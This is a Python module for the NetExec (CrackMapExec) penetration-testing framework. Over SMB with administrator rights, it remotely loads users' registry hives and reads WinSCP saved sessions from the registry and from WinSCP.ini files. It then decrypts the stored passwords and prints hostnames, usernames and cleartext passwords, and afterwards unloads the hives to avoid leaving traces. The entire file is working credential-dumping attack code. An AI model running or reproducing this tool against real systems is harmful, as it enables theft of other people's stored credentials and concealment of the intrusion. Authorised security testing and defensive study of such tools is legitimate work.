NetExec/cme/modules/winscp_dump.py

423 lines
18 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
# References and inspiration:
# - https://github.com/anoopengineer/winscppasswd
# - https://github.com/dzxs/winscppassword
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from urllib.parse import unquote
from io import BytesIO
import re
import configparser
class CMEModule:
'''
Module by @NeffIsBack
'''
name = 'winscp'
description = 'Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.'
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
PATH Specify the Path if you already found a WinSCP.ini file. (Example: PATH="C:\\Users\\USERNAME\\Documents\\WinSCP_Passwords\\WinSCP.ini")
REQUIRES ADMIN PRIVILEGES:
As Default the script looks into the registry and searches for WinSCP.ini files in
\"C:\\Users\\{USERNAME}\\Documents\\WinSCP.ini\" and in
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
for every user found on the System.
"""
if 'PATH' in module_options:
self.filepath = module_options['PATH']
else:
self.filepath = ""
self.PW_MAGIC = 0xA3
self.PW_FLAG = 0xFF
self.share = 'C$'
self.userDict = {}
# ==================== Helper ====================
def printCreds(self, context, session):
if type(session) is str:
context.log.error(session)
else:
context.log.highlight("======={s}=======".format(s=session[0]))
context.log.highlight("HostName: {s}".format(s=session[1]))
context.log.highlight("UserName: {s}".format(s=session[2]))
context.log.highlight("Password: {s}".format(s=session[3]))
def userObjectToNameMapper(self, context, connection, allUserObjects):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
keyHandle = ans['phkResult']
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
self.userDict[userObject] = userProfilePath.split('\\')[-1]
finally:
remoteOps.finish()
# ==================== Decrypt Password ====================
def decryptPasswd(self, host: str, username: str, password: str) -> str:
key = username + host
# transform password to bytes
passBytes = []
for i in range(len(password)):
val = int(password[i], 16)
passBytes.append(val)
pwFlag, passBytes = self.dec_next_char(passBytes)
pwLength = 0
# extract password length and trim the passbytes
if pwFlag == self.PW_FLAG:
_, passBytes = self.dec_next_char(passBytes)
pwLength, passBytes = self.dec_next_char(passBytes)
else:
pwLength = pwFlag
to_be_deleted, passBytes = self.dec_next_char(passBytes)
passBytes = passBytes[to_be_deleted * 2:]
# decrypt the password
clearpass = ""
for i in range(pwLength):
val, passBytes = self.dec_next_char(passBytes)
clearpass += chr(val)
if pwFlag == self.PW_FLAG:
clearpass = clearpass[len(key):]
return clearpass
def dec_next_char(self, passBytes) -> tuple[int, bytes]:
"""
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
Parameters
----------
passBytes : bytes
The password bytes
"""
if not passBytes:
return 0, passBytes
a = passBytes[0]
b = passBytes[1]
passBytes = passBytes[2:]
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xff, passBytes
# ==================== Handle Registry ====================
def registrySessionExtractor(self, context, connection, userObject, sessionName):
"""
Extract Session information from registry
"""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\' + sessionName)
keyHandle = ans['phkResult']
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'HostName')[1].split('\x00')[:-1][0])
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UserName')[1].split('\x00')[:-1][0]
try:
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'Password')[1].split('\x00')[:-1][0]
except:
context.log.debug("Session found but no Password is stored!")
password = ""
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
if password:
decPassword = self.decryptPasswd(hostName, userName, password)
else:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(sessionName)
return [sectionName, hostName, userName, decPassword]
except:
traceback.print_exc()
finally:
remoteOps.finish()
return "ERROR IN SESSION EXTRACTION"
def findAllLoggedInUsersInRegistry(self, context, connection):
"""
Checks whether User already exist in registry and therefore are logged in
"""
userObjects = []
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Enumerate all logged in and loaded Users on System
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
keyHandle = ans['phkResult']
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
users = data['lpcSubKeys']
# Get User Names
userNames = []
for i in range(users):
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Filter legit users in regex
userNames.remove('.DEFAULT')
regex = re.compile(r'^.*_Classes$')
userObjects = [i for i in userNames if not regex.match(i)]
except:
context.log.error("Error handling Users in registry")
traceback.print_exc()
finally:
remoteOps.finish()
return userObjects
def findAllUsers(self, context, connection):
"""
Find all User on the System in HKEY_LOCAL_MACHINE
"""
userObjects = []
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Enumerate all Users on System
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList')
keyHandle = ans['phkResult']
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
users = data['lpcSubKeys']
# Get User Names
for i in range(users):
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
except:
context.log.error("Error handling Users in registry")
traceback.print_exc()
finally:
remoteOps.finish()
return userObjects
def loadMissingUsers(self, context, connection, unloadedUserObjects):
"""
Extract Information for not logged in Users and then loads them into registry.
"""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
keyHandle = ans['phkResult']
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Load Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
keyHandle = ans['phkResult']
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject, userProfilePath + "\\" + "NTUSER.DAT")
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
def unloadMissingUsers(self, context, connection, unloadedUserObjects):
"""
If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind...
"""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Unload Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
keyHandle = ans['phkResult']
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
except:
traceback.print_exc()
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
def checkMasterpasswordSet(self, connection, userObject):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security')
keyHandle = ans['phkResult']
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseMasterPassword')[1]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
return useMasterPassword
def registryDiscover(self, context, connection):
context.log.info("Looking for WinSCP creds in Registry...")
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Enumerate all Users on System
userObjects = self.findAllLoggedInUsersInRegistry(context, connection)
allUserObjects = self.findAllUsers(context, connection)
self.userObjectToNameMapper(context, connection, allUserObjects)
# Users which must be loaded into registry:
unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects)))
self.loadMissingUsers(context, connection, unloadedUserObjects)
# Retrieve how many sessions are stored in registry from each UserObject
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
for userObject in allUserObjects:
try:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions')
keyHandle = ans['phkResult']
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessions = data['lpcSubKeys']
context.log.success("Found {} sessions for user \"{}\" in registry!".format(sessions - 1, self.userDict[userObject]))
# Get Session Names
sessionNames = []
for i in range(sessions):
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessionNames.remove('Default%20Settings')
if self.checkMasterpasswordSet(connection, userObject):
context.log.error("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in sessionNames:
self.printCreds(context, self.registrySessionExtractor(context, connection, userObject, sessionName))
except DCERPCException as e:
if str(e).find('ERROR_FILE_NOT_FOUND'):
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
except Exception:
context.log.error("Unexpected error:")
traceback.print_exc()
self.unloadMissingUsers(context, connection, unloadedUserObjects)
except DCERPCException as e:
# Error during registry query
if str(e).find('rpc_s_access_denied'):
context.log.error("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
except:
context.log.error("UNEXPECTED ERROR:")
traceback.print_exc()
finally:
remoteOps.finish()
# ==================== Handle Configs ====================
def decodeConfigFile(self, context, confFile):
config = configparser.RawConfigParser(strict=False)
config.read_string(confFile)
# Stop extracting creds if Master Password is set
if (int(config.get('Configuration\\Security', 'UseMasterPassword')) == 1):
context.log.error("Master Password Set, unable to recover saved passwords!")
return
for section in config.sections():
if config.has_option(section, 'HostName'):
hostName = unquote(config.get(section, 'HostName'))
userName = config.get(section, 'UserName')
if config.has_option(section, 'Password'):
encPassword = config.get(section, 'Password')
decPassword = self.decryptPasswd(hostName, userName, encPassword)
else:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(section)
self.printCreds(context, [sectionName, hostName, userName, decPassword])
def getConfigFile(self, context, connection):
if self.filepath:
self.share = (self.filepath.split(':')[0] + "$")
path = self.filepath.split(':')[1]
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success("Found config file! Extracting credentials...")
self.decodeConfigFile(context, confFile)
except:
context.log.error("Error! No config file found at {}".format(self.filepath))
traceback.print_exc()
else:
context.log.info("Looking for WinSCP creds in User documents and AppData...")
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = []
for row in output.split('\r\n'):
users.append(row.strip())
users = users[2:]
# Iterate over found users and default paths to look for WinSCP.ini files
for user in users:
paths = [("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini")]
for path in paths:
confFile = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success("Found config file at \"{}\"! Extracting credentials...".format(self.share + path))
except:
context.log.debug("No config file found at \"{}\"".format(self.share + path))
if confFile:
self.decodeConfigFile(context, confFile)
def on_admin_login(self, context, connection):
if not self.filepath:
self.registryDiscover(context, connection)
self.getConfigFile(context, connection)